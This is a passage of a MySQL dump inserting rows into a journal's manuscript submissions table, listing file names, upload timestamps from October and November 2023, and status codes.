15:09:51',1,3,0),(38427,14119,'14119-m60r-Manuscript-proof-submission-2023-10-25.docx',NULL,'2023-10-25 15:10:34',1,3,0);
INSERT INTO `submissions` VALUES (38428,14118,'14118-0vx9-Manuscript-proof-submission-2023-10-25.docx',NULL,'2023-10-25 15:11:35',1,3,0),(38429,14117,'14117-rz5d-Manuscript-proof-submission-2023-10-25.docx',NULL,'2023-10-25 15:13:32',1,3,0),(38430,14115,'14115-0elv-Manuscript-proof-submission-2023-10-25.docx',NULL,'2023-10-25 15:15:36',1,3,0),(38431,14114,'14114-cjyi-Manuscript-proof-submission-2023-10-25.docx',NULL,'2023-10-25 15:16:31',1,3,0),(38432,14113,'14113-enqh-Manuscript-proof-submission-2023-10-25.docx',NULL,'2023-10-25 15:20:07',1,3,0),(38433,14124,'14124-0-Manuscript-2023-10-26.docx',NULL,'2023-10-26 11:13:35',1,1,0),(38434,14111,'14111-nl02-Manuscript-proof-submission-2023-10-26.rar',NULL,'2023-10-26 11:14:23',1,3,0),(38435,14125,'14125-0-Manuscript-2023-10-26.docx',NULL,'2023-10-26 11:18:30',1,1,0),(38436,14126,'14126-0-Manuscript-2023-10-26.docx',NULL,'2023-10-26 11:33:21',1,1,0),(38437,14127,'14127-0-Manuscript-2023-10-26.docx',NULL,'2023-10-26 12:14:51',1,1,0),(38438,14128,'14128-0-Manuscript-2023-10-26.docx',NULL,'2023-10-26 12:18:02',1,1,0),(38441,14131,'14131-0-Manuscript-2023-10-26.docx',NULL,'2023-10-26 12:34:17',1,1,0),(38442,14132,'14132-0-Manuscript-2023-10-26.docx',NULL,'2023-10-26 12:36:46',1,1,0),(38444,14111,'14111-Manuscript-2023-10-26-5jd9-iphsj-23-14111.rar',NULL,'2023-10-26 13:24:48',1,3,0),(38445,14109,'14109-Manuscript-2023-10-26-zfvc-iphsj-23-14109.rar',NULL,'2023-10-26 13:47:55',1,3,0),(38446,14109,'14109-Manuscript-2023-10-26-4d8x-graphic-completed.pdf',NULL,'2023-10-26 15:08:36',1,3,0),(38447,14111,'14111-Manuscript-2023-10-26-a16n-graphic-completed.pdf',NULL,'2023-10-26 15:08:47',1,3,0),(38448,14093,'14093-st9z-Manuscript-proof-submission-2023-10-27.rar',NULL,'2023-10-27 11:04:03',1,3,0),(38449,14093,'14093-Manuscript-2023-10-27-8etu-iphsj-23-14093.rar',NULL,'2023-10-27 14:40:38',1,3,0),(38450,14134,'14134-0-Manuscript-2023-10-27.docx',NULL,'2023-10-27 14:50:14',1,1,0),(38451,14135,'14135-0-Manuscript-2023-10-27.docx',NULL,'2023-10-27 15:13:05',1,1,0),(38452,14136,'14136-0-Manuscript-2023-10-27.docx',NULL,'2023-10-27 15:21:45',1,1,0),(38453,14137,'14137-0-Manuscript-2023-10-27.docx',NULL,'2023-10-27 15:25:04',1,1,0),(38454,14138,'14138-0-Manuscript-2023-10-27.docx',NULL,'2023-10-27 15:25:44',1,1,0),(38455,14139,'14139-0-Manuscript-2023-10-27.docx',NULL,'2023-10-27 15:28:23',1,1,0),(38456,14140,'14140-0-Manuscript-2023-10-27.docx',NULL,'2023-10-27 15:32:11',1,1,0),(38457,14141,'14141-0-Manuscript-2023-10-27.docx',NULL,'2023-10-27 15:33:22',1,1,0),(38458,14142,'14142-0-Manuscript-2023-10-27.docx',NULL,'2023-10-27 15:36:05',1,1,0),(38459,14143,'14143-0-Manuscript-2023-10-27.docx',NULL,'2023-10-27 15:39:57',1,1,0),(38460,14144,'14144-0-Manuscript-2023-10-27.docx',NULL,'2023-10-27 15:42:15',1,1,0),(38461,14145,'14145-0-Manuscript-2023-10-27.docx',NULL,'2023-10-27 15:43:10',1,1,0),(38462,14146,'14146-0-Manuscript-2023-10-27.docx',NULL,'2023-10-27 15:48:13',1,1,0),(38463,14147,'14147-0-Manuscript-2023-10-27.docx',NULL,'2023-10-27 15:48:48',1,1,0),(38464,14148,'14148-0-Manuscript-2023-10-27.docx',NULL,'2023-10-27 15:51:07',1,1,0),(38465,14149,'14149-0-Manuscript-2023-10-27.docx',NULL,'2023-10-27 16:00:01',1,1,0),(38466,14150,'14150-0-Manuscript-2023-10-27.docx',NULL,'2023-10-27 16:03:52',1,1,0),(38467,14151,'14151-0-Manuscript-2023-10-27.docx',NULL,'2023-10-27 16:33:52',1,1,0),(38468,14152,'14152-0-Manuscript-2023-10-27.docx',NULL,'2023-10-27 16:37:53',1,1,0),(38469,14153,'14153-0-Manuscript-2023-10-27.docx',NULL,'2023-10-27 16:40:48',1,1,0),(38470,14154,'14154-0-Manuscript-2023-10-27.docx',NULL,'2023-10-27 16:45:45',1,1,0),(38471,14155,'14155-0-Manuscript-2023-10-27.docx',NULL,'2023-10-27 16:46:51',1,1,0),(38472,14156,'14156-0-Manuscript-2023-10-27.docx',NULL,'2023-10-27 16:50:27',1,1,0),(38473,14157,'14157-0-Manuscript-2023-10-28.docx',NULL,'2023-10-28 10:27:23',1,1,0),(38474,14158,'14158-0-Manuscript-2023-10-28.docx',NULL,'2023-10-28 10:53:05',1,1,0),(38475,14159,'14159-0-Manuscript-2023-10-28.docx',NULL,'2023-10-28 10:55:38',1,1,0),(38476,14160,'14160-0-Manuscript-2023-10-28.docx',NULL,'2023-10-28 10:57:51',1,1,0),(38477,14161,'14161-0-Manuscript-2023-10-28.docx',NULL,'2023-10-28 11:00:10',1,1,0),(38478,14162,'14162-0-Manuscript-2023-10-28.docx',NULL,'2023-10-28 11:38:44',1,1,0),(38479,14163,'14163-0-Manuscript-2023-10-28.docx',NULL,'2023-10-28 11:43:16',1,1,0),(38480,14164,'14164-0-Manuscript-2023-10-28.docx',NULL,'2023-10-28 11:46:08',1,1,0),(38481,14165,'14165-0-Manuscript-2023-10-28.docx',NULL,'2023-10-28 11:50:11',1,1,0),(38482,14166,'14166-0-Manuscript-2023-10-28.docx',NULL,'2023-10-28 11:57:35',1,1,0),(38483,14167,'14167-0-Manuscript-2023-10-28.docx',NULL,'2023-10-28 12:04:03',1,1,0),(38484,14168,'14168-0-Manuscript-2023-10-28.docx',NULL,'2023-10-28 12:06:36',1,1,0),(38485,14169,'14169-0-Manuscript-2023-10-28.docx',NULL,'2023-10-28 12:07:19',1,1,0),(38486,14170,'14170-0-Manuscript-2023-10-28.docx',NULL,'2023-10-28 12:09:13',1,1,0),(38487,14171,'14171-0-Manuscript-2023-10-28.docx',NULL,'2023-10-28 12:13:25',1,1,0),(38488,14172,'14172-0-Manuscript-2023-10-28.docx',NULL,'2023-10-28 12:13:34',1,1,0),(38489,14173,'14173-0-Manuscript-2023-10-28.docx',NULL,'2023-10-28 12:17:16',1,1,0),(38490,14174,'14174-0-Manuscript-2023-10-28.docx',NULL,'2023-10-28 12:19:17',1,1,0),(38491,14175,'14175-0-Manuscript-2023-10-28.docx',NULL,'2023-10-28 12:20:50',1,1,0),(38492,14176,'14176-0-Manuscript-2023-10-28.docx',NULL,'2023-10-28 12:23:22',1,1,0),(38493,14177,'14177-0-Manuscript-2023-10-28.docx',NULL,'2023-10-28 12:24:43',1,1,0),(38494,14101,'14101-l0k4-Manuscript-proof-submission-2023-10-28.rar',NULL,'2023-10-28 12:25:26',1,3,0),(38495,14178,'14178-0-Manuscript-2023-10-28.docx',NULL,'2023-10-28 12:25:52',1,1,0),(38496,14179,'14179-0-Manuscript-2023-10-28.docx',NULL,'2023-10-28 12:29:14',1,1,0),(38497,14180,'14180-0-Manuscript-2023-10-28.docx',NULL,'2023-10-28 12:29:39',1,1,0),(38498,14181,'14181-0-Manuscript-2023-10-28.docx',NULL,'2023-10-28 12:31:57',1,1,0),(38499,14182,'14182-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 10:11:59',1,1,0),(38500,14183,'14183-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 10:15:15',1,1,0),(38501,14184,'14184-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 10:40:39',1,1,0),(38502,14185,'14185-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 10:44:13',1,1,0),(38503,14186,'14186-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 10:45:13',1,1,0),(38504,14187,'14187-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 10:47:50',1,1,0),(38505,14188,'14188-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 10:51:01',1,1,0),(38506,14189,'14189-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 10:54:43',1,1,0),(38507,14190,'14190-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 10:58:12',1,1,0),(38508,14191,'14191-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 11:03:55',1,1,0),(38509,14192,'14192-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 11:06:28',1,1,0),(38510,14193,'14193-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 11:08:41',1,1,0),(38511,14194,'14194-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 11:09:06',1,1,0),(38512,14195,'14195-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 11:21:42',1,1,0),(38513,14196,'14196-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 11:35:43',1,1,0),(38514,14197,'14197-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 11:40:50',1,1,0),(38515,14198,'14198-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 12:53:21',1,1,0),(38516,14199,'14199-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 12:57:05',1,1,0),(38517,14104,'14104-cizx-Manuscript-proof-submission-2023-10-30.rar',NULL,'2023-10-30 13:14:34',1,3,0),(38518,14200,'14200-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 13:14:51',1,1,0),(38519,14101,'14101-Manuscript-2023-10-30-xapu-iphsj-23-14101.rar',NULL,'2023-10-30 13:25:03',1,3,0),(38520,14201,'14201-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 14:02:38',1,1,0),(38521,14202,'14202-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 14:12:56',1,1,0),(38522,14203,'14203-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 14:13:33',1,1,0),(38523,14204,'14204-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 14:18:26',1,1,0),(38524,14205,'14205-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 14:19:29',1,1,0),(38525,14206,'14206-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 14:21:17',1,1,0),(38526,14207,'14207-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 14:25:19',1,1,0),(38527,14208,'14208-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 14:30:00',1,1,0),(38528,14209,'14209-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 14:33:27',1,1,0),(38529,14210,'14210-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 14:36:45',1,1,0),(38530,14211,'14211-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 14:40:08',1,1,0),(38531,14212,'14212-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 14:43:01',1,1,0),(38532,14213,'14213-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 15:26:04',1,1,0),(38533,14214,'14214-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 15:30:31',1,1,0),(38534,14215,'14215-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 15:37:35',1,1,0),(38535,14216,'14216-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 16:33:58',1,1,0),(38536,14217,'14217-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 16:37:43',1,1,0),(38537,14218,'14218-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 16:41:29',1,1,0),(38538,14219,'14219-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 16:44:36',1,1,0),(38539,14220,'14220-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 16:48:54',1,1,0),(38540,14221,'14221-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 16:51:20',1,1,0),(38541,14222,'14222-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 16:54:49',1,1,0),(38542,14223,'14223-0-Manuscript-2023-10-30.docx',NULL,'2023-10-30 16:57:15',1,1,0),(38543,14105,'14105-io60-Manuscript-proof-submission-2023-10-31.rar',NULL,'2023-10-31 09:42:16',1,3,0),(38544,14099,'14099-s3ya-Manuscript-proof-submission-2023-10-31.docx',NULL,'2023-10-31 10:12:18',1,3,0),(38545,14099,'14099-8xoh-Manuscript-proof-submission-2023-10-31.docx',NULL,'2023-10-31 10:12:21',1,3,0),(38546,14099,'14099-a84f-Manuscript-proof-submission-2023-10-31.docx',NULL,'2023-10-31 10:12:22',1,3,0),(38547,14106,'14106-4dr0-Manuscript-proof-submission-2023-10-31.docx',NULL,'2023-10-31 10:20:26',1,3,0),(38548,14106,'14106-c0o2-Manuscript-proof-submission-2023-10-31.docx',NULL,'2023-10-31 10:20:28',1,3,0),(38549,14106,'14106-csqh-Manuscript-proof-submission-2023-10-31.docx',NULL,'2023-10-31 10:20:29',1,3,0),(38550,14106,'14106-b5gd-Manuscript-proof-submission-2023-10-31.docx',NULL,'2023-10-31 10:20:31',1,3,0),(38551,14106,'14106-ugia-Manuscript-proof-submission-2023-10-31.docx',NULL,'2023-10-31 10:20:33',1,3,0),(38552,14106,'14106-vg0j-Manuscript-proof-submission-2023-10-31.docx',NULL,'2023-10-31 10:20:34',1,3,0),(38553,14104,'14104-Manuscript-2023-10-31-ge8p-iphsj-23-14104.rar',NULL,'2023-10-31 11:08:14',1,3,0),(38554,14105,'14105-Manuscript-2023-10-31-r783-iphsj-23-14105.rar',NULL,'2023-10-31 11:23:06',1,3,0),(38555,14093,'14093-Manuscript-2023-10-31-s5zv-graphic-completed.pdf',NULL,'2023-10-31 11:24:05',1,3,0),(38556,14101,'14101-Manuscript-2023-10-31-9eqf-graphic-completed.pdf',NULL,'2023-10-31 11:24:17',1,3,0),(38557,14085,'14085-20lr-Manuscript-proof-submission-2023-10-31.rar',NULL,'2023-10-31 13:15:04',1,3,0),(38559,14225,'14225-0-Manuscript-2023-10-31.docx',NULL,'2023-10-31 14:21:06',1,1,0),(38560,14226,'14226-0-Manuscript-2023-10-31.docx',NULL,'2023-10-31 14:22:11',1,1,0),(38561,14227,'14227-0-Manuscript-2023-10-31.docx',NULL,'2023-10-31 14:23:18',1,1,0),(38562,14227,'14227-vhr5-Manuscript-2023-10-31.docx',NULL,'2023-10-31 14:28:27',1,1,0),(38563,14228,'14228-0-Manuscript-2023-10-31.docx',NULL,'2023-10-31 14:31:01',1,1,0),(38564,14099,'14099-Manuscript-2023-10-31-4zg8-move-pdf-making.docx',NULL,'2023-10-31 16:32:43',1,3,0),(38565,14106,'14106-Manuscript-2023-10-31-jteg-move-pdf-making.pdf',NULL,'2023-10-31 16:33:29',1,3,0),(38566,14106,'14106-Manuscript-2023-10-31-0v65-move-pdf-making.docx',NULL,'2023-10-31 16:35:17',1,3,0),(38567,14106,'14106-Manuscript-2023-10-31-xtv4-move-pdf-making.docx',NULL,'2023-10-31 16:36:17',1,3,0),(38568,14099,'14099-Manuscript-2023-10-31-m934-move-pdf-making.pdf',NULL,'2023-10-31 16:38:07',1,3,0),(38569,14085,'14085-Manuscript-2023-11-01-rsg7-iphsj-23-14085.rar',NULL,'2023-11-01 09:59:52',1,3,0),(38570,14229,'14229-0-Manuscript-2023-11-01.docx',NULL,'2023-11-01 11:19:45',1,1,0),(38571,14230,'14230-0-Manuscript-2023-11-01.docx',NULL,'2023-11-01 13:30:45',1,1,0),(38572,14104,'14104-Manuscript-2023-11-01-tqyb-graphic-completed.pdf',NULL,'2023-11-01 15:37:08',1,3,0),(38573,14105,'14105-Manuscript-2023-11-01-vb91-graphic-completed.pdf',NULL,'2023-11-01 15:37:22',1,3,0),(38574,14085,'14085-Manuscript-2023-11-01-uqhd-graphic-completed.pdf',NULL,'2023-11-01 15:37:35',1,3,0),(38575,14231,'14231-0-Manuscript-2023-11-02.docx',NULL,'2023-11-02 09:43:51',1,1,0),(38576,14232,'14232-0-Manuscript-2023-11-02.docx',NULL,'2023-11-02 09:46:01',1,1,0),(38577,14233,'14233-0-Manuscript-2023-11-02.docx',NULL,'2023-11-02 10:02:43',1,1,0),(38578,14234,'14234-0-Manuscript-2023-11-02.docx',NULL,'2023-11-02 10:08:30',1,1,0),(38579,14235,'14235-0-Manuscript-2023-11-02.docx',NULL,'2023-11-02 10:11:38',1,1,0),(38582,14238,'14238-0-Manuscript-2023-11-02.docx',NULL,'2023-11-02 10:23:24',1,1,0),(38583,14239,'14239-0-Manuscript-2023-11-02.docx',NULL,'2023-11-02 10:27:00',1,1,0),(38584,14240,'14240-0-Manuscript-2023-11-02.docx',NULL,'2023-11-02 10:29:00',1,1,0),(38585,14241,'14241-0-Manuscript-2023-11-02.docx',NULL,'2023-11-02 10:31:43',1,1,0),(38586,14242,'14242-0-Manuscript-2023-11-02.docx',NULL,'2023-11-02 10:34:28',1,1,0),(38588,14244,'14244-0-Manuscript-2023-11-02.pdf',NULL,'2023-11-02 17:22:00',1,1,0),(38589,14245,'14245-0-Manuscript-2023-11-03.docx',NULL,'2023-11-03 12:40:29',1,1,0),(38590,14246,'14246-0-Manuscript-2023-11-03.docx',NULL,'2023-11-03 12:44:28',1,1,0),(38591,14247,'14247-0-Manuscript-2023-11-03.docx',NULL,'2023-11-03 12:49:08',1,1,0),(38592,14230,'14230-os7y-Manuscript-proof-submission-2023-11-03.rar',NULL,'2023-11-03 15:30:46',1,3,0),(38593,14229,'14229-jevs-Manuscript-proof-submission-2023-11-03.rar',NULL,'2023-11-03 15:31:25',1,3,0),(38594,14229,'14229-Manuscript-2023-11-03-yk80-ap-team-revised.rar',NULL,'2023-11-03 17:09:45',1,3,0),(38595,14230,'14230-Manuscript-2023-11-03-vex0-ap-team-revised.rar',NULL,'2023-11-03 17:10:13',1,3,0),(38596,14024,'14024-pe47-Manuscript-proof-submission-2023-11-04.docx',NULL,'2023-11-04 09:19:10',1,3,0),(38597,14024,'14024-e9ij-Manuscript-proof-submission-2023-11-04.docx',NULL,'2023-11-04 09:19:12',1,3,0),(38598,14230,'14230-Manuscript-2023-11-04-eodn-graphic-completed.pdf',NULL,'2023-11-04 11:55:31',1,3,0),(38599,14229,'14229-Manuscript-2023-11-04-if67-graphic-completed.pdf',NULL,'2023-11-04 11:55:33',1,3,0),(38600,14248,'14248-0-Manuscript-2023-11-05.docx',NULL,'2023-11-05 23:31:12',1,1,0),(38601,14116,'14116-vemf-Manuscript-proof-submission-2023-11-06.docx',NULL,'2023-11-06 09:21:50',1,3,0),(38602,14116,'14116-lrdi-Manuscript-proof-submission-2023-11-06.docx',NULL,'2023-11-06 09:21:52',1,3,0),(38603,14116,'14116-e4iq-Manuscript-proof-submission-2023-11-06.docx',NULL,'2023-11-06 09:21:54',1,3,0),(38604,14116,'14116-yn6z-Manuscript-proof-submission-2023-11-06.docx',NULL,'2023-11-06 09:21:56',1,3,0),(38605,14112,'14112-kpt9-Manuscript-proof-submission-2023-11-06.docx',NULL,'2023-11-06 09:22:18',1,3,0),(38606,14112,'14112-knfg-Manuscript-proof-submission-2023-11-06.docx',NULL,'2023-11-06 09:22:20',1,3,0),(38607,14249,'14249-0-Manuscript-2023-11-06.docx',NULL,'2023-11-06 09:31:51',1,1,0),(38608,14250,'14250-0-Manuscript-2023-11-06.docx',NULL,'2023-11-06 09:34:20',1,1,0),(38609,14251,'14251-0-Manuscript-2023-11-06.docx',NULL,'2023-11-06 09:37:11',1,1,0),(38610,14252,'14252-0-Manuscript-2023-11-06.docx',NULL,'2023-11-06 09:39:50',1,1,0),(38611,14253,'14253-0-Manuscript-2023-11-06.docx',NULL,'2023-11-06 09:41:41',1,1,0),(38612,14254,'14254-0-Manuscript-2023-11-06.docx',NULL,'2023-11-06 09:43:19',1,1,0),(38613,14255,'14255-0-Manuscript-2023-11-06.docx',NULL,'2023-11-06 09:45:16',1,1,0),(38614,14256,'14256-0-Manuscript-2023-11-06.docx',NULL,'2023-11-06 09:47:30',1,1,0),(38615,14257,'14257-0-Manuscript-2023-11-06.docx',NULL,'2023-11-06 09:49:17',1,1,0),(38616,14258,'14258-0-Manuscript-2023-11-06.docx',NULL,'2023-11-06 09:52:33',1,1,0),(38617,14114,'14114-Manuscript-2023-11-06-dlig-ipaom-23-14114.docx',NULL,'2023-11-06 10:50:23',1,3,0),(38618,14115,'14115-Manuscript-2023-11-06-wcxb-ipaom-23-14115.docx',NULL,'2023-11-06 10:50:33',1,3,0),(38619,14117,'14117-Manuscript-2023-11-06-m7ru-ipaom-23-14117.docx',NULL,'2023-11-06 10:50:43',1,3,0),(38620,14118,'14118-Manuscript-2023-11-06-hbv4-ipaom-23-14118.docx',NULL,'2023-11-06 10:50:52',1,3,0),(38621,14119,'14119-Manuscript-2023-11-06-wma2-ipaom-23-14119.docx',NULL,'2023-11-06 10:51:03',1,3,0),(38622,14120,'14120-Manuscript-2023-11-06-ldtx-ipaom-23-14120.docx',NULL,'2023-11-06 10:51:44',1,3,0),(38623,14121,'14121-Manuscript-2023-11-06-4ek9-ipaom-23-14121.docx',NULL,'2023-11-06 10:51:54',1,3,0),(38624,14122,'14122-Manuscript-2023-11-06-cw3h-ipaom-23-14122.docx',NULL,'2023-11-06 10:52:03',1,3,0),(38625,14113,'14113-Manuscript-2023-11-06-q8ba-ipaom-23-14113.docx',NULL,'2023-11-06 10:52:13',1,3,0),(38626,14259,'14259-0-Manuscript-2023-11-06.docx',NULL,'2023-11-06 12:09:19',1,1,0),(38627,14260,'14260-0-Manuscript-2023-11-06.docx',NULL,'2023-11-06 14:14:46',1,1,0),(38628,14261,'14261-0-Manuscript-2023-11-06.docx',NULL,'2023-11-06 14:19:08',1,1,0),(38629,14262,'14262-0-Manuscript-2023-11-06.docx',NULL,'2023-11-06 14:22:16',1,1,0),(38630,14263,'14263-0-Manuscript-2023-11-06.docx',NULL,'2023-11-06 14:28:32',1,1,0),(38631,14264,'14264-0-Manuscript-2023-11-06.docx',NULL,'2023-11-06 14:30:52',1,1,0),(38632,14265,'14265-0-Manuscript-2023-11-06.docx',NULL,'2023-11-06 14:34:42',1,1,0),(38633,14266,'14266-0-Manuscript-2023-11-06.docx',NULL,'2023-11-06 14:37:01',1,1,0),(38634,14267,'14267-0-Manuscript-2023-11-06.docx',NULL,'2023-11-06 14:39:47',1,1,0),(38635,14268,'14268-0-Manuscript-2023-11-06.docx',NULL,'2023-11-06 14:43:44',1,1,0),(38636,14269,'14269-0-Manuscript-2023-11-06.docx',NULL,'2023-11-06 14:45:52',1,1,0),(38637,14270,'14270-0-Manuscript-2023-11-07.docx',NULL,'2023-11-07 15:08:20',1,1,0),(38638,14271,'14271-0-Manuscript-2023-11-07.docx',NULL,'2023-11-07 15:10:13',1,1,0),(38639,14272,'14272-0-Manuscript-2023-11-07.docx',NULL,'2023-11-07 15:11:50',1,1,0),(38640,14273,'14273-0-Manuscript-2023-11-07.docx',NULL,'2023-11-07 15:13:17',1,1,0),(38641,14274,'14274-0-Manuscript-2023-11-07.docx',NULL,'2023-11-07 15:14:36',1,1,0),(38642,14275,'14275-0-Manuscript-2023-11-07.docx',NULL,'2023-11-07 15:15:51',1,1,0),(38643,14276,'14276-0-Manuscript-2023-11-07.docx',NULL,'2023-11-07 15:17:42',1,1,0),(38644,14277,'14277-0-Manuscript-2023-11-07.docx',NULL,'2023-11-07 15:18:39',1,1,0),(38645,14096,'14096-szyh-Manuscript-2023-11-07.docx',NULL,'2023-11-07 15:18:43',1,1,0),(38646,14278,'14278-0-Manuscript-2023-11-07.docx',NULL,'2023-11-07 15:19:50',1,1,0),(38647,14279,'14279-0-Manuscript-2023-11-07.docx',NULL,'2023-11-07 15:21:19',1,1,0),(38648,14280,'14280-0-Manuscript-2023-11-07.docx',NULL,'2023-11-07 15:22:14',1,1,0),(38649,14281,'14281-0-Manuscript-2023-11-07.docx',NULL,'2023-11-07 15:23:10',1,1,0),(38650,14282,'14282-0-Manuscript-2023-11-07.docx',NULL,'2023-11-07 15:24:07',1,1,0),(38651,13984,'13984-zgb0-Manuscript-proof-submission-2023-11-07.docx',NULL,'2023-11-07 15:38:25',1,3,0),(38652,13491,'13491-0spk-Manuscript-proof-submission-2023-11-07.pdf',NULL,'2023-11-07 15:39:48',1,3,0),(38653,13490,'13490-3glt-Manuscript-proof-submission-2023-11-07.pdf',NULL,'2023-11-07 15:40:30',1,3,0),(38654,13489,'13489-t5g6-Manuscript-proof-submission-2023-11-07.pdf',NULL,'2023-11-07 15:41:13',1,3,0),(38655,13483,'13483-kz75-Manuscript-proof-submission-2023-11-07.pdf',NULL,'2023-11-07 15:41:58',1,3,0),(38656,14112,'14112-Manuscript-2023-11-07-0zws-move-pdf-making.docx',NULL,'2023-11-07 17:37:02',1,3,0),(38657,14112,'14112-Manuscript-2023-11-07-eopk-move-pdf-making.docx',NULL,'2023-11-07 17:37:48',1,3,0),(38658,14112,'14112-Manuscript-2023-11-07-j1n9-move-pdf-making.pdf',NULL,'2023-11-07 17:39:08',1,3,0),(38659,14116,'14116-Manuscript-2023-11-07-gw52-move-pdf-making.pdf',NULL,'2023-11-07 17:40:50',1,3,0),(38660,14116,'14116-Manuscript-2023-11-07-hwyb-move-pdf-making.docx',NULL,'2023-11-07 17:41:50',1,3,0),(38661,14283,'14283-0-Manuscript-2023-11-09.docx',NULL,'2023-11-09 10:00:50',1,1,0),(38662,14284,'14284-0-Manuscript-2023-11-09.docx',NULL,'2023-11-09 15:36:36',1,1,0),(38663,14285,'14285-0-Manuscript-2023-11-09.docx',NULL,'2023-11-09 22:14:43',1,1,0),(38664,2051,'2051-1rhp-Manuscript-proof-submission-2023-11-13.docx',NULL,'2023-11-13 14:48:23',1,3,0),(38665,2051,'2051-d8hi-Manuscript-proof-submission-2023-11-13.pdf',NULL,'2023-11-13 14:48:24',1,3,0),(38666,3874,'3874-kdab-Manuscript-proof-submission-2023-11-13.docx',NULL,'2023-11-13 15:09:19',1,3,0),(38667,3874,'3874-64xn-Manuscript-proof-submission-2023-11-13.docx',NULL,'2023-11-13 15:09:19',1,3,0),(38668,3874,'3874-ifb7-Manuscript-proof-submission-2023-11-13.docx',NULL,'2023-11-13 15:09:19',1,3,0),(38669,3874,'3874-x1ng-Manuscript-proof-submission-2023-11-13.docx',NULL,'2023-11-13 15:09:19',1,3,0),(38670,3874,'3874-o26k-Manuscript-proof-submission-2023-11-13.pdf',NULL,'2023-11-13 15:09:20',1,3,0),(38671,6851,'6851-1n0p-Manuscript-proof-submission-2023-11-13.docx',NULL,'2023-11-13 15:15:27',1,3,0),(38672,6851,'6851-1bo2-Manuscript-proof-submission-2023-11-13.docx',NULL,'2023-11-13 15:15:27',1,3,0),(38673,6851,'6851-j08p-Manuscript-proof-submission-2023-11-13.docx',NULL,'2023-11-13 15:15:27',1,3,0),(38674,6851,'6851-u8cn-Manuscript-proof-submission-2023-11-13.pdf',NULL,'2023-11-13 15:15:28',1,3,0),(38675,8807,'8807-8h4q-Manuscript-proof-submission-2023-11-13.docx',NULL,'2023-11-13 15:22:28',1,3,0),(38676,8807,'8807-h8vl-Manuscript-proof-submission-2023-11-13.docx',NULL,'2023-11-13 15:22:28',1,3,0),(38677,8807,'8807-l2xp-Manuscript-proof-submission-2023-11-13.docx',NULL,'2023-11-13 15:22:28',1,3,0),(38678,8807,'8807-7eag-Manuscript-proof-submission-2023-11-13.docx',NULL,'2023-11-13 15:22:28',1,3,0),(38679,8807,'8807-wvpn-Manuscript-proof-submission-2023-11-13.pdf',NULL,'2023-11-13 15:22:28',1,3,0),(38680,12398,'12398-f7xg-Manuscript-proof-submission-2023-11-13.docx',NULL,'2023-11-13 15:29:59',1,3,0),(38681,12398,'12398-j752-Manuscript-proof-submission-2023-11-13.docx',NULL,'2023-11-13 15:29:59',1,3,0),(38682,12398,'12398-708n-Manuscript-proof-submission-2023-11-13.docx',NULL,'2023-11-13 15:29:59',1,3,0),(38683,12398,'12398-tcam-Manuscript-proof-submission-2023-11-13.docx',NULL,'2023-11-13 15:29:59',1,3,0),(38684,12398,'12398-1l4x-Manuscript-proof-submission-2023-11-13.pdf',NULL,'2023-11-13 15:29:59',1,3,0),(38685,6824,'6824-o0gs-Manuscript-proof-submission-2023-11-13.docx',NULL,'2023-11-13 15:36:19',1,3,0),(38686,6824,'6824-mxj8-Manuscript-proof-submission-2023-11-13.docx',NULL,'2023-11-13 15:36:19',1,3,0),(38687,6824,'6824-5wci-Manuscript-proof-submission-2023-11-13.docx',NULL,'2023-11-13 15:36:19',1,3,0),(38688,6824,'6824-6syt-Manuscript-proof-submission-2023-11-13.docx',NULL,'2023-11-13 15:36:19',1,3,0),(38689,6824,'6824-4p7b-Manuscript-proof-submission-2023-11-13.pdf',NULL,'2023-11-13 15:36:19',1,3,0),(38690,14286,'14286-0-Manuscript-2023-11-14.docx',NULL,'2023-11-14 15:09:05',1,1,0),(38691,14287,'14287-0-Manuscript-2023-11-14.docx',NULL,'2023-11-14 15:11:07',1,1,0),(38692,14288,'14288-0-Manuscript-2023-11-14.docx',NULL,'2023-11-14 15:13:05',1,1,0),(38693,14289,'14289-0-Manuscript-2023-11-14.docx',NULL,'2023-11-14 15:15:06',1,1,0),(38694,14290,'14290-0-Manuscript-2023-11-14.docx',NULL,'2023-11-14 15:17:04',1,1,0),(38695,14291,'14291-0-Manuscript-2023-11-14.docx',NULL,'2023-11-14 15:31:56',1,1,0),(38696,14292,'14292-0-Manuscript-2023-11-14.docx',NULL,'2023-11-14 15:37:23',1,1,0),(38697,14293,'14293-0-Manuscript-2023-11-14.docx',NULL,'2023-11-14 